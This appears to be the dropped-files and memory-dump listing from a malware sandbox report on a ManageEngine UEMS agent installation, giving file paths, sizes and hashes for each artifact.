Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DMRootCA.crt
Size 1KB
SHA256 917ad692a2e5b350e0a782a1f46c988f74237c973a8185359f0ad9838a9bd95b
MD5 144c0c9373b3c2a72b1d2c00f2b163a7
SHA1 17e54e37a072442e4e79c98624ae350a005f4249
SHA512 6fbd72005dcef9df2229c4a3341ae3a11d089c4fce7486b9c8d5a41fcbeb7063be0fc1bdc9c8ef4c723466df2796318e974e70f770830ffd89d3f4fe1fac85c0
TLSH
T12A21E9D81D5025A1A487D3FCE74ED0396C1257519DF332B634D73901C6D6D1419594C3
MD5 SHA1 SHA512 TLSH

Submit Download

Agentinstalllog.txt

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\Agentinstalllog.txt
Size 1KB
SHA256 e4f8f8f301aa1aa535b436ecab0bd70dce6c3b659245cb1417e8d02af1b5d377
MD5 a81381fd76a09d1cd1daa2706d3f7aa1
SHA1 5f8f70bb7c24e70ca26d9ed03e2c74c2b37aace3
SHA512 09c20a5112bd004def7aaba90a344f7736c00d117a445a6ec25a08746d4339994eeebdb89f0c64987a12f131f6703f2e88a9b37aa1029eba78d314517712a7ec
TLSH
T18431F4511EE50816F2B7174BAEF3C5520B73BCC56834D78D2389C32906ABE08896837A
MD5 SHA1 SHA512 TLSH

Submit Download

DCAgentServerInfo.json

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\DCAgentServerInfo.json
Size 4KB
SHA256 ba1498b6512aaaec8ef27d3efd117963f84c5ff60664a5a47fa4f5a83fe924d5
MD5 1cd75042aa9431151a6d9a6b2b3e232d
SHA1 00c440172567ffe770dccd6fe4e9c8c95ba0ad92
SHA512 d998e58e8ba7e754d12122898aaa40763d4fe4bd2c06a4bab4da862d25382f0bb0ed8df40e1082751a498b258c443c2af8342ed395d93767cbb065f27b489594
SSDEEP 96:vm0mgGvyLewAdxOAJUOR2rN3sHy4pWfbQoU02JkdpZq6p5gV7lYP0Lomq:vFjYjldxtJVHyxU02OVDa76Gc
TLSH
T148A14AD4AA023E762AD3C74CD62A6037849903200AD7119A59FC3F80F8CE60547BB5A0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SetUP.VBS

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetUP.VBS
Size 824B
SHA256 6053c83865de1fe0f527608a3cff4d1689bfebc4047d81187fb78e8dbbbbb74c
MD5 97b3de6696541abe6384970ae8c9901c
SHA1 01db6b9685d45b2dc410f01001ff928c12e34895
SHA512 6a26d774d5a141cf09bc5b0cb589a1452cc655c6fe5839e3c297089228f8c6fa50c99ed8ff4d5e296ef0fbb72857401d00fc515deecc0d928f10fe595f4d8527
TLSH
T1E5018901B43DC7328AB0239150022DDDDEA3431A240852E6B99D8CFECF9C4389A35211
MD5 SHA1 SHA512 TLSH

Submit Download

UEMSAgent.mst

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.mst
Size 20KB
SHA256 8dd93f43089a682cbac39c0a1f364057dcb7d08e9b1480c088f15a5dd56d8be4
MD5 0273976d2ecf588a5514b0f5069968e5
SHA1 b906399f51bffff670d20c5f5d66800a78b1e638
SHA512 da06fe4cf771c3a4840ced5b95a421cbec98023766d0d382b44798fefdf04f794119d3c17eb2165f35df1745bf3ffad600af10b7f89cce24f788a57f6e67a809
SSDEEP 24:J+U2p5gxBuP2xjl/Zd8pJPSgHiHJoxIzxhK:IU2p4gI7dyJaz
TLSH
T109927202FBA1EA16D0490A358E96C3DC0B36FC81DD42836B35E6776FBD721C54D62AA0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

NvTelemetryIjYvDmWkPSVH.pol

Path C:\Users\Public\NvTelemetryIjYvDmWkPSVH.pol
Size 17KB
SHA256 7bf332e095a5c40c509da219a4e110c44c4bd831ba36cd9cba0df062abd989e0
MD5 4f18b5e35fb2fd78c902c6c03727f889
SHA1 3e6d2a8b580e5b57d01c118852b073003a0e5ba2
SHA512 7a38ae598717309f09dc603b0ccbf0c71a4754fa7988fead5b03fe41948129eccea53e00e1d30c462c08c3c80fc0777bc16569a7421122dd6b51ed6ec8f3243a
SSDEEP 384:JsuoCCpQIY0HKs0vkmxbYPL4OUSYGVm1k:JsbCCpQIYCKsxmxtEtQa
TLSH
T168826D8B876920AAFAE7C935C2A18677FC30FAD077564AFF4119C1911E81FE05B3D209
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

NvTelemetryIjYvDmWkPSVH.pol.json

Path C:\Users\Public\NvTelemetryIjYvDmWkPSVH.pol.json
Size 17KB
SHA256 abedfba18809f9a3cb1fd13efa1382e84fe98fed61b4c14d82a4ab359216b6c1
MD5 d6a7b695a544818bdd3469161cd3cdb9
SHA1 e8246006084f3fe1d16df6aac3e0123cd4590be8
SHA512 4474f3194a7adf048b8a7c66ecc5984fe1c0dbc41d8abb14a39fd58422f8698e7df07289a902e928b659732ec14ad0456cc1d9ff9aabdde6863ccaffee4fe1f5
SSDEEP 384:6a1ZoSUUtRNueBVT7RVKdfpaCBreD1blTUJX1Vq4W:6a1mYBVT76dfpJBaDhJUJFK
TLSH
T18E82D07C3A9BB7044865319F0DE01605317A8B2025AB55BD0F26C50F72E8FBFE06D9E5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

NvTelemetryQhdCSpjIfZpNicgs.pol

Path C:\Users\Public\NvTelemetryQhdCSpjIfZpNicgs.pol
Size 32KB
SHA256 fb1c10d2d9e89ae8263faaed9b211bd1585896fc8eb4bc21622942a8a22cee09
MD5 c260608456e573a9d4de3c935648086e
SHA1 eabc6ee5869e011ae01014fdd8a89be3d237dd5b
SHA512 24c5edcf96081705028704ab7529225dd911630be668ca7593cbc7cab107b72a62c000f7cf8adabeca04474e81c474446fe471a3ee9006b377dfcb3bb49f72a2
SSDEEP 768:Nf+Wus4O4cTO2z2BuaVDNgijrrwn2899zud:1GF29aNgyw2szud
TLSH
T1B4E24BC966B804CAE6F782B4C2F9D6A6B970BA53172343EF0161C5740D63FD0DA35B29
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

NvTelemetryQhdCSpjIfZpNicgs.pol.json

Path C:\Users\Public\NvTelemetryQhdCSpjIfZpNicgs.pol.json
Size 32KB
SHA256 539d76b8a7cacb593a96bff5d7c7cedf33be761f05cb4a32476f74c0e14e929d
MD5 3b4182534afae8ff492c5ccffcea5f04
SHA1 4d981d310a6b7e425707b6e44542c350b15f6574
SHA512 6d4461d4e15eb722d11e7bbbd794fb0a31eba0db52f90afef432614e1e3d7d14136de04bc3b61df839f123cce19126189817b6e1eb060e82748830bc58537eef
SSDEEP 384:EZl6TPCzG2PsplJUpkIhBuk9fxmsfmokSkm6XFH6G7baT9LWMsTSos2QTTTYK:EWMJKlInxfmU+Vk9i3SL2Q3TYK
TLSH
T1FAE2F18A8FA1910C61F0AB44DAF028FB39674EB47AF212726FB6F3476041D1774C6658
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

S-1-5-21-2714045687-1127350534-2056456672.CMD

Path C:\Users\Public\Resources\S-1-5-21-2714045687-1127350534-2056456672\S-1-5-21-2714045687-1127350534-2056456672.CMD
Size 1KB
SHA256 cf52c9dcb3e60c3fda81237e01e3019ddb46c57b12b5a32b843f3f33a069c833
MD5 8a59ced1fd972db5a61f1fbd9f2e4ac6
SHA1 ee0e93568279bd6358e05583f4cf2bfde61efc6b
SHA512 3fdd5df9161fb48001b4d8f5d950ab61a083a4b3ad86c10768be1bc880cb25fcb3e30a7a825d426d3d485dd28396ed8c1cfcd54abbb98d6e58c07d3cf00cbf5b
TLSH
T1FD31DC9FC4574D1E832101EB2356AC6BC680F147EDC5719074E85B882355A6E0855EAD
MD5 SHA1 SHA512 TLSH

Submit Download

MSIB70D.tmp

Path C:\Windows\Installer\MSIB70D.tmp
Size 429KB
SHA256 1260992c0d6f755f41f02710a5ca7ee9300edb669357a96c5f8a7a9a77f6b071
MD5 95acce8d4e4fcdc950343f218775eb01
SHA1 70bf7c56c4154a2ddd354c2a5115376f1a527dea
SHA512 b26fcd43ec48c884813f44f3c4c91f16887603d7c4408f471445fa880e9b3b154cf77b7036c8993493334b6dd58a76dcea659de4623b28756894ef905f5ca39e
SSDEEP 12288:ZpqSpvhUEaxBOJBesypR2wd/8VyUp7NTR:ZJhUZxBOWsc1IFNt
TLSH
T13794BF1135C9C031E1AE5170ADB5AF76AE7DAD200F2858CBD3C84D3B1E645C2AB76F1A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentlibxml2.dll

Path C:\Windows\SysWOW64\dcagentlibxml2.dll
Size 2.0MB
SHA256 6667e8871a07bdc398488565e2afbe72cf080c8c8f0016d572e2f01522b14ed6
MD5 a75d9d2f7f2713fa7c2decda1ea8f7fc
SHA1 bb203e3ffaf88a624b2ccc8c882e1b0917c485a4
SHA512 cd7fad6cb3fd3cecbb8c20c804c39758b455a81f48e01b1fa7d9d98b5df2f911fdcb524e0d534cf427c57d1be2c360d2e1d7c0b0a94f6fa048496bf8a341883f
SSDEEP 49152:R1fOkYtuKEoTHy9uizLBAUZLY6tPT8FGaXQr:HfOk4rwLBAUZLvr
TLSH
T12BA5BF04B980C532F4EB01F1CAFE5BFB982DCD26672554E767E578D889301E162BEB09
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

rundll32.exe

Path C:\Windows\SysWOW64\rundll32.exe
Size 51KB
SHA256 ce6bb7eddc83762c708d4a41709ae00371dbdc09b2a380f28fa60b1edf917473
MD5 2e068ce2770fde8d1af4cb114b98df1f
SHA1 b6f9c2775babb025b22f915c3047aa627d07c312
SHA512 998d695eb56375e63df7db16740b89deb2cf630ccbead8bcf84a921ec6f4a4f9aef2755b703f7190f332b2008ebcc949363bcf8f392d7d07246c255b5073ed35
SSDEEP 1536:6G9yoVEpHP29I3fbcJboSUge5N+CnC/maz9Rh:8pv2mbcJboce58wvOR
TLSH
T137336C236A0A49B3DFE231780A9D7232526DD862075541F7A61057EAFD243E2EE743CF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3784-32-0x0000000003230000-0x000000000329C000-memory.dmp

Download

memory/3784-30-0x0000000003230000-0x000000000329C000-memory.dmp

Download

memory/3784-28-0x0000000003230000-0x000000000329C000-memory.dmp

Download

memory/3784-29-0x0000000003230000-0x000000000329C000-memory.dmp

Download

memory/3784-33-0x0000000003230000-0x000000000329C000-memory.dmp

Download

memory/3784-27-0x0000000003040000-0x00000000030A5000-memory.dmp

Download

memory/3784-34-0x0000000003230000-0x000000000329C000-memory.dmp

Download

memory/3784-60-0x0000000003230000-0x000000000329C000-memory.dmp

Download

memory/4204-494-0x000001AB9BBF0000-0x000001AB9C594000-memory.dmp

Download

memory/4760-4-0x0000000000010000-0x0000000000017000-memory.dmp

Download